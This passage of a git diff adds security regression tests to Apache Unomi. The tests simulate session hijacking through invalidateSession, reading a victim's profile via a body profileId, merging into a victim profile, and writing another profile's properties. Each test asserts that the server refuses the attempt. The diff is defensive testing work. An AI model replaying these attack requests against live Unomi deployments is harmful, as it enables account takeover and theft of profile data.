+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(pageView), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+ String anonymousId = established.getContextResponse().getProfileId();
+ assertNotEquals(knownProfileId, anonymousId);
+
+ // The login event is then emitted by a trusted server-side caller after authentication.
+ CustomItem loginTarget = new CustomItem(knownEmail, "visitor");
+ Map loginProps = new HashMap<>();
+ loginProps.put("email", knownEmail);
+ loginTarget.setProperties(loginProps);
+ Event login = new Event();
+ login.setEventType("login");
+ login.setScope(TEST_SCOPE);
+ login.setTarget(loginTarget);
+ login.setTimeStamp(new Date());
+
+ ContextRequest loginRequest = new ContextRequest();
+ loginRequest.setSessionId(sessionId);
+ loginRequest.setEvents(Collections.singletonList(login));
+ HttpPost trusted = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(trusted, testTenant, testPrivateKeyValue);
+ trusted.addHeader("Cookie", established.getCookieHeaderValue());
+ trusted.setEntity(new StringEntity(getObjectMapper().writeValueAsString(loginRequest), ContentType.APPLICATION_JSON));
+ executeContextJSONRequest(trusted, sessionId, -1, false);
+
+ keepTrying("Trusted login should merge the anonymous profile into the known one",
+ () -> profileService.load(anonymousId),
+ p -> p != null && knownEmail.equals(p.getProperty("email")),
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ rulesService.removeRule("testLogin");
+ }
+
+ /**
+ * invalidateSession replaces the session bound to the supplied id, so it must not be usable as a
+ * way around the cookie-ownership rule.
+ */
+ @Test
+ public void testPublicCaller_invalidateSessionCannotStealForeignSession() throws Exception {
+ String ownerId = "invalidate-owner-" + System.currentTimeMillis();
+ String foreignSessionId = "invalidate-foreign-session-" + System.currentTimeMillis();
+ Profile owner = new Profile(ownerId);
+ profileService.save(owner);
+ Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ // The attacker establishes their own cookie against an unrelated session.
+ String ownSessionId = "invalidate-attacker-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(ownSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, ownSessionId);
+ String attackerId = established.getContextResponse().getProfileId();
+ assertNotEquals(ownerId, attackerId);
+
+ ContextRequest steal = new ContextRequest();
+ steal.setSessionId(foreignSessionId);
+ HttpPost attack = new HttpPost(getFullUrl(CONTEXT_URL) + "?invalidateSession=true");
+ addPublicTenantAuth(attack);
+ attack.addHeader("Cookie", established.getCookieHeaderValue());
+ attack.setEntity(new StringEntity(getObjectMapper().writeValueAsString(steal), ContentType.APPLICATION_JSON));
+ executeContextJSONRequest(attack, foreignSessionId);
+
+ shouldBeTrueUntilEnd("Foreign session ownership must survive invalidateSession from a public caller",
+ () -> profileService.loadSession(foreignSessionId),
+ s -> s != null && ownerId.equals(s.getProfileId()),
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_SHOULDBETRUE_TRIES);
+ }
+
+ /**
+ * A refused session is never created, so echoing the requested id back would tell the client its
+ * session is live and make it replay the same rejected id forever.
+ */
+ @Test
+ public void testPublicCaller_refusedSessionIsNotEchoedInResponse() throws Exception {
+ String ownerId = "echo-owner-" + System.currentTimeMillis();
+ String foreignSessionId = "echo-foreign-session-" + System.currentTimeMillis();
+ Profile owner = new Profile(ownerId);
+ profileService.save(owner);
+ Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ String ownSessionId = "echo-attacker-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(ownSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, ownSessionId);
+
+ ContextRequest hijack = new ContextRequest();
+ hijack.setSessionId(foreignSessionId);
+ HttpPost attack = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(attack);
+ attack.addHeader("Cookie", established.getCookieHeaderValue());
+ attack.setEntity(new StringEntity(getObjectMapper().writeValueAsString(hijack), ContentType.APPLICATION_JSON));
+ RequestResponse refused = executeContextJSONRequest(attack, foreignSessionId);
+
+ assertEquals(200, refused.getStatusCode());
+ assertNull("A refused session id must not be echoed back to the client",
+ refused.getContextResponse().getSessionId());
+ }
+
@Test
public void testCreateEventWithProfileId_Success() throws Exception {
//Arrange
@@ -432,16 +959,36 @@ public void testCreateEventWithProfileId_Success() throws Exception {
contextRequest.setProfileId(TEST_PROFILE_ID);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId binding for a chosen id requires a trusted caller
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
- addPublicTenantAuth(request);
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
keepTrying("Profile " + TEST_PROFILE_ID + " not found in the required time", () -> profileService.load(TEST_PROFILE_ID),
Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
}
+ @Test
+ public void testPublicCaller_bodyProfileIdWithoutCookie_rejected() throws Exception {
+ String victimId = "body-only-victim-" + System.currentTimeMillis();
+ Profile victim = new Profile(victimId);
+ victim.setProperty("email", "victim-body-only@example.com");
+ profileService.save(victim);
+ keepTrying("Victim not found", () -> profileService.load(victimId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest attack = new ContextRequest();
+ attack.setProfileId(victimId);
+ attack.setRequiredProfileProperties(Collections.singletonList("*"));
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attack), ContentType.APPLICATION_JSON));
+ // Body profileId is ignored for public callers; with no cookie/session → 400, not victim data
+ RequestResponse response = executeContextJSONRequest(request, null, 400, false);
+ assertEquals(400, response.getStatusCode());
+ }
+
@Test
public void testCreateEventWithPropertiesValidation_Success() throws Exception {
//Arrange
@@ -489,11 +1036,11 @@ public void testCreateEventWithPropertyValueValidation_Failure() throws Exceptio
contextRequest.setProfileId(profileId);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
//Assert
shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT,
@@ -516,11 +1063,11 @@ public void testCreateEventWithPropertyNameValidation_Failure() throws Exception
contextRequest.setProfileId(profileId);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
//Assert
shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT,
@@ -581,9 +1128,11 @@ public void testPersonalization() throws Exception {
@Test
public void testScorePersonalizationStrategy_Interests() throws Exception {
// Test request before adding interests to current profile.
+ // JSON binds profileId in the body — requires trusted caller (public ignores body profileId).
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON));
- TestUtils.RequestResponse response = executeContextJSONRequest(request);
+ TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false);
ContextResponse contextResponse = response.getContextResponse();
List variants = contextResponse.getPersonalizations().get("perso-by-interest");
assertEquals("Invalid response code", 200, response.getStatusCode());
@@ -600,8 +1149,9 @@ public void testScorePersonalizationStrategy_Interests() throws Exception {
// check results of the perso now
request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON));
- response = executeContextJSONRequest(request);
+ response = executeContextJSONRequest(request, null, -1, false);
contextResponse = response.getContextResponse();
variants = contextResponse.getPersonalizations().get("perso-by-interest");
assertEquals("Invalid response code", 200, response.getStatusCode());
@@ -637,8 +1187,9 @@ public void testScorePersonalizationStrategy_Interests() throws Exception {
// re test now that profiles has interests
request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON));
- response = executeContextJSONRequest(request);
+ response = executeContextJSONRequest(request, null, -1, false);
contextResponse = response.getContextResponse();
variants = contextResponse.getPersonalizations().get("perso-by-interest");
assertEquals("Invalid response code", 200, response.getStatusCode());
@@ -675,8 +1226,9 @@ public void testRequireScoring() throws Exception {
// first let's make sure everything works without the requireScoring parameter
parameters = new HashMap<>();
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("withoutRequireScores.json", parameters), ContentType.APPLICATION_JSON));
- TestUtils.RequestResponse response = executeContextJSONRequest(request);
+ TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false);
assertEquals("Invalid response code", 200, response.getStatusCode());
assertNotNull("Context response should not be null", response.getContextResponse());
@@ -686,8 +1238,9 @@ public void testRequireScoring() throws Exception {
// now let's test adding it.
parameters = new HashMap<>();
request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("withRequireScores.json", parameters), ContentType.APPLICATION_JSON));
- response = executeContextJSONRequest(request);
+ response = executeContextJSONRequest(request, null, -1, false);
assertEquals("Invalid response code", 200, response.getStatusCode());
assertNotNull("Context response should not be null", response.getContextResponse());
@@ -874,7 +1427,8 @@ public void testContextEndpointAuthentication() throws Exception {
// Test with JAAS authentication (should succeed)
BasicCredentialsProvider credsProvider = new BasicCredentialsProvider();
- credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ credsProvider.setCredentials(AuthScope.ANY,
+ new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
RequestConfig requestConfig = RequestConfig.custom()
.setAuthenticationEnabled(true)
@@ -922,13 +1476,15 @@ private void performPersonalizationWithControlGroup(Map controlG
// Test normal personalization should not have control group info in response
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ // JSON fixtures bind profileId in the body — requires trusted caller (public ignores body profileId).
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
if (controlGroupConfig != null) {
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-control-group.json", controlGroupConfig), ContentType.APPLICATION_JSON));
} else {
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-no-control-group.json", null), ContentType.APPLICATION_JSON));
}
- TestUtils.RequestResponse response = executeContextJSONRequest(request);
+ TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false);
ContextResponse contextResponse = response.getContextResponse();
// Check variants
@@ -978,23 +1534,31 @@ public void testConcealedProperties() throws Exception {
contextRequest.setProfileId(profile.getItemId());
contextRequest.setSessionId(sessionId);
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ // Body profileId requires trusted caller (public ignores body profileId).
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
+ assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
// set the property as concealed
customPropertyType.getMetadata().getSystemTags().add("concealed");
profileService.deletePropertyType(customPropertyType.getItemId());
profileService.setPropertyType(customPropertyType);
// Not in all properties
+ request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- assertNull(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"));
+ assertNull(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"));
// Got it explicitly
contextRequest.setRequiredProfileProperties(Arrays.asList("customProperty"));
+ request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
+ assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
// Got it with all
contextRequest.setRequiredProfileProperties(Arrays.asList("*", "customProperty"));
+ request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
+ assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
// remove the concealed tag on the property type
customPropertyType.getMetadata().getSystemTags().remove("concealed");
@@ -1003,8 +1567,10 @@ public void testConcealedProperties() throws Exception {
// Got it from all properties
contextRequest.setRequiredProfileProperties(Arrays.asList("*"));
+ request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
+ assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue"));
}
@Test
diff --git a/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java b/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java
index 6cc692a0d1..23c7b219b2 100644
--- a/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java
+++ b/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java
@@ -57,11 +57,14 @@
ModifyConsentIT.class,
PatchIT.class,
ContextServletIT.class,
+ ContextEndpointBaselineIT.class,
SecurityIT.class,
RuleServiceIT.class,
PrivacyServiceIT.class,
GroovyActionsServiceIT.class,
+ RestEndpointRoleSecurityIT.class,
GraphQLEventIT.class,
+ GraphQLServletSecurityIT.class,
GraphQLListIT.class,
GraphQLProfileIT.class,
GraphQLProfilePropertiesIT.class,
diff --git a/itests/src/test/java/org/apache/unomi/itests/HealthCheckIT.java b/itests/src/test/java/org/apache/unomi/itests/HealthCheckIT.java
index 305c2f38e8..f7179a7f42 100644
--- a/itests/src/test/java/org/apache/unomi/itests/HealthCheckIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/HealthCheckIT.java
@@ -54,8 +54,6 @@ public class HealthCheckIT extends BaseIT {
private final static Logger LOGGER = LoggerFactory.getLogger(HealthCheckIT.class);
- protected static final String HEALTHCHECK_AUTH_USER_NAME = "health";
- protected static final String HEALTHCHECK_AUTH_PASSWORD = "health";
protected static final String HEALTHCHECK_ENDPOINT = "/health/check";
@Test
@@ -132,6 +130,15 @@ private void assertHealthCheckLive(List response) {
}
}
+ @Test
+ public void testHealthCheck_wrongPasswordRejected() throws Exception {
+ final HttpGet httpGet = new HttpGet(getFullUrl(HEALTHCHECK_ENDPOINT));
+ try (CloseableHttpResponse response = executeHttpRequest(
+ httpGet, AuthType.CUSTOM_BASIC, HEALTHCHECK_AUTH_USER_NAME, "wrong-password")) {
+ Assert.assertEquals(401, response.getStatusLine().getStatusCode());
+ }
+ }
+
protected T get(final String url, TypeReference typeReference) {
CloseableHttpResponse response = null;
try {
diff --git a/itests/src/test/java/org/apache/unomi/itests/ProfileMergeIT.java b/itests/src/test/java/org/apache/unomi/itests/ProfileMergeIT.java
index 20011d21c2..179984d618 100644
--- a/itests/src/test/java/org/apache/unomi/itests/ProfileMergeIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/ProfileMergeIT.java
@@ -176,6 +176,71 @@ public void testProfileMergeOnPropertyAction_sessionReassigned_newProfile() thro
* - a new one, if it's the first time we encounter his own mergeIdentifier
* - a previous one, if we already have a profile in DB with the same mergeIdentifier. (TESTED in this scenario)
*/
+ /**
+ * Public / untrusted callers must not merge into an existing victim profile (identity takeover).
+ * Suite {@code @Before} installs a tenant-admin subject; this test temporarily downgrades it.
+ */
+ @Test
+ public void testUntrustedCaller_cannotMergeIntoExistingVictimProfile() throws InterruptedException {
+ createAndWaitForRule(createMergeOnPropertyRule(false, "email"));
+
+ Profile victim = new Profile("victimProfileID");
+ victim.setProperty("email", "victim@example.com");
+ victim.setSystemProperty("mergeIdentifier", "victim@example.com");
+ profileService.save(victim);
+
+ keepTrying("Victim profile not found", () -> profileService.load("victimProfileID"),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ Profile attacker = new Profile("attackerProfileID");
+ attacker.setProperty("email", "victim@example.com");
+ Session session = new Session("untrustedMergeSession", attacker, new Date(), null);
+ Event event = new Event(TEST_EVENT_TYPE, session, attacker, null, null, attacker, new Date());
+
+ javax.security.auth.Subject previous = securityService.getCurrentSubject();
+ try {
+ securityService.setCurrentSubject(securityService.createSubject(TEST_TENANT_ID, false));
+ eventService.send(event);
+ } finally {
+ securityService.setCurrentSubject(previous);
+ }
+
+ Assert.assertEquals("attackerProfileID", event.getProfile().getItemId());
+ Assert.assertEquals("attackerProfileID", event.getSession().getProfile().getItemId());
+ Assert.assertNotNull(profileService.load("victimProfileID"));
+ }
+
+ @Test
+ public void testTrustedPrivateKeySubject_canMergeIntoExistingProfile() throws InterruptedException {
+ createAndWaitForRule(createMergeOnPropertyRule(false, "email"));
+
+ Profile victim = new Profile("trustedVictimProfileID");
+ victim.setProperty("email", "trusted-victim@example.com");
+ victim.setSystemProperty("mergeIdentifier", "trusted-victim@example.com");
+ victim.setProperty("firstVisit", new Date(0));
+ profileService.save(victim);
+
+ keepTrying("Victim profile not found", () -> profileService.load("trustedVictimProfileID"),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ Profile caller = new Profile("trustedCallerProfileID");
+ caller.setProperty("email", "trusted-victim@example.com");
+ caller.setProperty("firstVisit", new Date());
+ Session session = new Session("trustedMergeSession", caller, new Date(), null);
+ Event event = new Event(TEST_EVENT_TYPE, session, caller, null, null, caller, new Date());
+
+ javax.security.auth.Subject previous = securityService.getCurrentSubject();
+ try {
+ securityService.setCurrentSubject(securityService.createSubject(TEST_TENANT_ID, true));
+ eventService.send(event);
+ } finally {
+ securityService.setCurrentSubject(previous);
+ }
+
+ Assert.assertEquals("trustedVictimProfileID", event.getProfile().getItemId());
+ Assert.assertEquals("trustedVictimProfileID", event.getSession().getProfile().getItemId());
+ }
+
@Test
public void testProfileMergeOnPropertyAction_sessionReassigned_existingProfile() throws InterruptedException {
// create rule
diff --git a/itests/src/test/java/org/apache/unomi/itests/PropertiesUpdateActionIT.java b/itests/src/test/java/org/apache/unomi/itests/PropertiesUpdateActionIT.java
index ad2206a6b3..64d65ea4f1 100644
--- a/itests/src/test/java/org/apache/unomi/itests/PropertiesUpdateActionIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/PropertiesUpdateActionIT.java
@@ -20,6 +20,7 @@
import org.apache.unomi.api.Event;
import org.apache.unomi.api.Profile;
import org.apache.unomi.api.rules.Rule;
+import org.apache.unomi.api.services.EventService;
import org.apache.unomi.plugins.baseplugin.actions.UpdatePropertiesAction;
import org.junit.Assert;
import org.junit.Before;
@@ -118,6 +119,81 @@ public void testUpdateProperties_NotCurrentProfile() throws InterruptedException
waitForProfileProperty(PROFILE_TEST_ID, "firstName", "UPDATED FIRST NAME");
}
+ @Test
+ public void testUntrustedCaller_cannotUpdateAnotherProfile() throws InterruptedException {
+ Profile caller = profileService.load(PROFILE_TARGET_TEST_ID);
+ Profile other = profileService.load(PROFILE_TEST_ID);
+ Assert.assertNull(other.getProperty("firstName"));
+
+ Event updateProperties = new Event("updateProperties", null, caller, null, null, null, new Date());
+ updateProperties.setPersistent(false);
+ Map propertyToUpdate = new HashMap<>();
+ propertyToUpdate.put("properties.firstName", "SHOULD_NOT_APPLY");
+ updateProperties.setProperty(UpdatePropertiesAction.PROPS_TO_UPDATE, propertyToUpdate);
+ updateProperties.setProperty(UpdatePropertiesAction.TARGET_ID_KEY, PROFILE_TEST_ID);
+ updateProperties.setProperty(UpdatePropertiesAction.TARGET_TYPE_KEY, "profile");
+
+ javax.security.auth.Subject previous = securityService.getCurrentSubject();
+ try {
+ securityService.setCurrentSubject(securityService.createSubject(TEST_TENANT_ID, false));
+ int changes = eventService.send(updateProperties);
+ Assert.assertEquals(EventService.NO_CHANGE, changes);
+ } finally {
+ securityService.setCurrentSubject(previous);
+ }
+
+ shouldBeTrueUntilEnd("Other profile must remain unchanged",
+ () -> profileService.load(PROFILE_TEST_ID),
+ p -> p.getProperty("firstName") == null,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_SHOULDBETRUE_TRIES);
+ }
+
+ @Test
+ public void testUntrustedCaller_cannotWriteSystemProperties() throws InterruptedException {
+ Profile caller = profileService.load(PROFILE_TEST_ID);
+ Assert.assertNull(caller.getSystemProperties().get("mergeIdentifier"));
+
+ Event updateProperties = new Event("updateProperties", null, caller, null, null, null, new Date());
+ updateProperties.setPersistent(false);
+ Map propertyToUpdate = new HashMap<>();
+ propertyToUpdate.put("systemProperties.mergeIdentifier", "stolen");
+ updateProperties.setProperty(UpdatePropertiesAction.PROPS_TO_UPDATE, propertyToUpdate);
+
+ javax.security.auth.Subject previous = securityService.getCurrentSubject();
+ try {
+ securityService.setCurrentSubject(securityService.createSubject(TEST_TENANT_ID, false));
+ eventService.send(updateProperties);
+ } finally {
+ securityService.setCurrentSubject(previous);
+ }
+
+ Assert.assertNull(profileService.load(PROFILE_TEST_ID).getSystemProperties().get("mergeIdentifier"));
+ }
+
+ @Test
+ public void testTrustedPrivateKeySubject_canUpdateAnotherProfile() throws InterruptedException {
+ Profile caller = profileService.load(PROFILE_TARGET_TEST_ID);
+ Assert.assertNull(profileService.load(PROFILE_TEST_ID).getProperty("firstName"));
+
+ Event updateProperties = new Event("updateProperties", null, caller, null, null, null, new Date());
+ updateProperties.setPersistent(false);
+ Map propertyToUpdate = new HashMap<>();
+ propertyToUpdate.put("properties.firstName", "TRUSTED UPDATE");
+ updateProperties.setProperty(UpdatePropertiesAction.PROPS_TO_UPDATE, propertyToUpdate);
+ updateProperties.setProperty(UpdatePropertiesAction.TARGET_ID_KEY, PROFILE_TEST_ID);
+ updateProperties.setProperty(UpdatePropertiesAction.TARGET_TYPE_KEY, "profile");
+
+ javax.security.auth.Subject previous = securityService.getCurrentSubject();
+ try {
+ securityService.setCurrentSubject(securityService.createSubject(TEST_TENANT_ID, true));
+ eventService.send(updateProperties);
+ } finally {
+ securityService.setCurrentSubject(previous);
+ }
+
+ waitForProfileProperty(PROFILE_TEST_ID, "firstName", "TRUSTED UPDATE");
+ }
+
@Test
public void testUpdateProperties_CurrentProfile_PROPS_TO_ADD() throws InterruptedException {
Profile profile = profileService.load(PROFILE_TEST_ID);
diff --git a/itests/src/test/java/org/apache/unomi/itests/RestEndpointRoleSecurityIT.java b/itests/src/test/java/org/apache/unomi/itests/RestEndpointRoleSecurityIT.java
new file mode 100644
index 0000000000..67329b98e2
--- /dev/null
+++ b/itests/src/test/java/org/apache/unomi/itests/RestEndpointRoleSecurityIT.java
@@ -0,0 +1,177 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.itests;
+
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpDelete;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.ByteArrayEntity;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.ops4j.pax.exam.junit.PaxExam;
+import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
+import org.ops4j.pax.exam.spi.reactors.PerSuite;
+
+import java.nio.charset.StandardCharsets;
+
+/**
+ * HTTP-level checks that system-admin-only REST endpoints reject tenant private keys
+ * (including multipart upload / oneshot paths).
+ */
+@RunWith(PaxExam.class)
+@ExamReactorStrategy(PerSuite.class)
+public class RestEndpointRoleSecurityIT extends BaseIT {
+
+ @Test
+ public void importConfiguration_requiresSystemAdministrator() throws Exception {
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(
+ new HttpGet(getFullUrl("/cxs/importConfiguration")), AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals("Tenant private key must not list import configurations",
+ 403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(
+ new HttpGet(getFullUrl("/cxs/importConfiguration")), AuthType.JAAS_ADMIN)) {
+ Assert.assertEquals("JAAS admin should list import configurations",
+ 200, jaasAdmin.getStatusLine().getStatusCode());
+ }
+ }
+
+ @Test
+ public void exportConfiguration_requiresSystemAdministrator() throws Exception {
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(
+ new HttpGet(getFullUrl("/cxs/exportConfiguration")), AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals(403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(
+ new HttpGet(getFullUrl("/cxs/exportConfiguration")), AuthType.JAAS_ADMIN)) {
+ Assert.assertEquals(200, jaasAdmin.getStatusLine().getStatusCode());
+ }
+ }
+
+ @Test
+ public void importConfiguration_oneshotUpload_requiresSystemAdministrator() throws Exception {
+ HttpPost oneshot = multipartPost(getFullUrl("/cxs/importConfiguration/oneshot"),
+ "----UnomiImportBoundary",
+ part("importConfigId", "text/plain", "rest-role-security-oneshot"),
+ filePart("file", "probe.csv", "text/csv", "col1\nvalue1\n"));
+
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(oneshot, AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals(403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ HttpPost oneshotJaas = multipartPost(getFullUrl("/cxs/importConfiguration/oneshot"),
+ "----UnomiImportBoundaryJaas",
+ part("importConfigId", "text/plain", "rest-role-security-oneshot"),
+ filePart("file", "probe.csv", "text/csv", "col1\nvalue1\n"));
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(oneshotJaas, AuthType.JAAS_ADMIN)) {
+ // Role gate is what we care about; missing config may yield 500 after auth succeeds.
+ Assert.assertNotEquals(403, jaasAdmin.getStatusLine().getStatusCode());
+ Assert.assertNotEquals(401, jaasAdmin.getStatusLine().getStatusCode());
+ }
+ }
+
+ @Test
+ public void exportConfiguration_oneshot_requiresSystemAdministrator() throws Exception {
+ String body = "{\"itemId\":\"rest-role-security-export\",\"itemType\":\"exportConfig\"}";
+ HttpPost oneshot = new HttpPost(getFullUrl("/cxs/exportConfiguration/oneshot"));
